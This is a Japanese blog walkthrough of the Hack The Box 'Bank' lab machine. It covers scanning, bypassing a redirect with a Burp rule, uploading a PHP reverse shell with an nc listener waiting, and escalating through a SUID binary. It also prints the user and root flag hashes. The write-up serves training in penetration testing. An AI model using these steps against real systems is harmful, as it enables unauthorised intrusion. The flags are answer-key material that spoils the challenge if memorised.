セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Bank Walkthrough

はじめに

  • マシン名:Bank
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.29

ポートスキャン

nmap -sC -sV -Pn 10.10.10.29

f:id:Paichan:20200725134444p:plain 22(ssh)、53(dns)80(http)が開いている。
※nmap -p- 10.10.10.29も実行し、ポート検出漏れしていないかも確認。

ブラウザで80番ポートへアクセス

Apacheのデフォルトぺージが表示される。 f:id:Paichan:20200725135001p:plain

hostsファイルの設定

このIPアドレスに対してgobusterを実行しても、次につながる結果は見つからなかった。
53(DNS)ポートが開いていることから、このサーバが仮想ホスト(※)で構成されている可能性があると考え、以下を実行しhostsファイルに追記した。

# echo "10.10.10.29 bank.htb" >> /etc/hosts
[マシン名].htbというのはHTBのFQDNの命名規則

※一つのサーバで複数のドメインを運用・管理する技術

このFQDNで再度ブラウザからアクセスすると、ログイン画面が表示された。 f:id:Paichan:20200725134928p:plain

ディレクトリスキャン

このFQDNに対して、ディレクトリスキャンを実施。

# gobuster dir -u http://bank.htb/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 100

f:id:Paichan:20200725135106p:plain 検出されたindex.phpsupport.phpにアクセスを試みるが、リダイレクトされてlogin.phpに飛ばされてしまう。burpで通信を見てみる。

Burpで通信の確認

support.phpへのリクエストに着目すると、リダイレクト前のレスポンスも確認できる。 f:id:Paichan:20200725140145p:plain レスポンスには、以下のようなコメントが含まれていたりで、ここが狙い目な気はする。


<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

support.phpへのアクセスのために、burpのrenderタブをクリックしても表示されない・・・
FirefoxのアドオンでNoRedirectアドオンというものがあったが、kaliのFirefoxのバージョン問題で使用できず断念。
NoRedirect :: Add-ons for Firefox

調べていると、以下にたどり着いた。Burpを通して通信したものを任意の物に書き換えられるようだ。 MY_CHEAT_SHEET/BurpSuite.md at master · sanposhiho/MY_CHEAT_SHEET · GitHub

Proxy → Options → Match and Replaceより302 Foundで返ってきたものを200 OKに置き換える設定を加えた。 f:id:Paichan:20200725140751p:plain

ここにチェックを入れた状態でブラウザからアクセスすると、support.phpへ行けた。この機能は知らなかった。 f:id:Paichan:20200725140839p:plain

ファイルアップロード

support.phpはファイルアップロードの機能があった。phpのreverse shellをアップロードする。

# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
# tar zxvf php-reverse-shell-1.0.tar.gz
# cd php-reverse-shell-1.0/
# cp php-reverse-shell.php shell.htb

shell.htbIPアドレスとポート番号を攻撃者環境のものに変え、アップロードする。このとき、上記で発見したコメントにあるように、拡張子は「.htb」とする。 f:id:Paichan:20200725141144p:plain

user.txt取得まで

アップロードしたreverse shellにアクセスする前に、攻撃者環境で待ち受けておく。

# nc -lvp 1234 

アップロードしたファイルにアクセス(ブラウザで「Click Here」をクリック)すると、シェルが返ってきた。これでuser.txtゲット。 f:id:Paichan:20200725141431p:plain

root.txt取得まで

権限昇格のために、以下を実行した。

$ sudo -l
$ find / -perm -4000 -type f 2>/dev/null

/var/htb/bin/emergencyというファイルにSUIDが設定されている、また、所有者はrootであることからroot権限で実行できそうだ。
実行前後でのidコマンドの差異は以下。

■実行前
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

■実行後
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

これでroot.txtの取得完了。 f:id:Paichan:20200725141739p:plain

user.txt:37c97f8609f361848d8872098b0721c3
root.txt:d5be56adc67b488f81a4b9de30c8a68e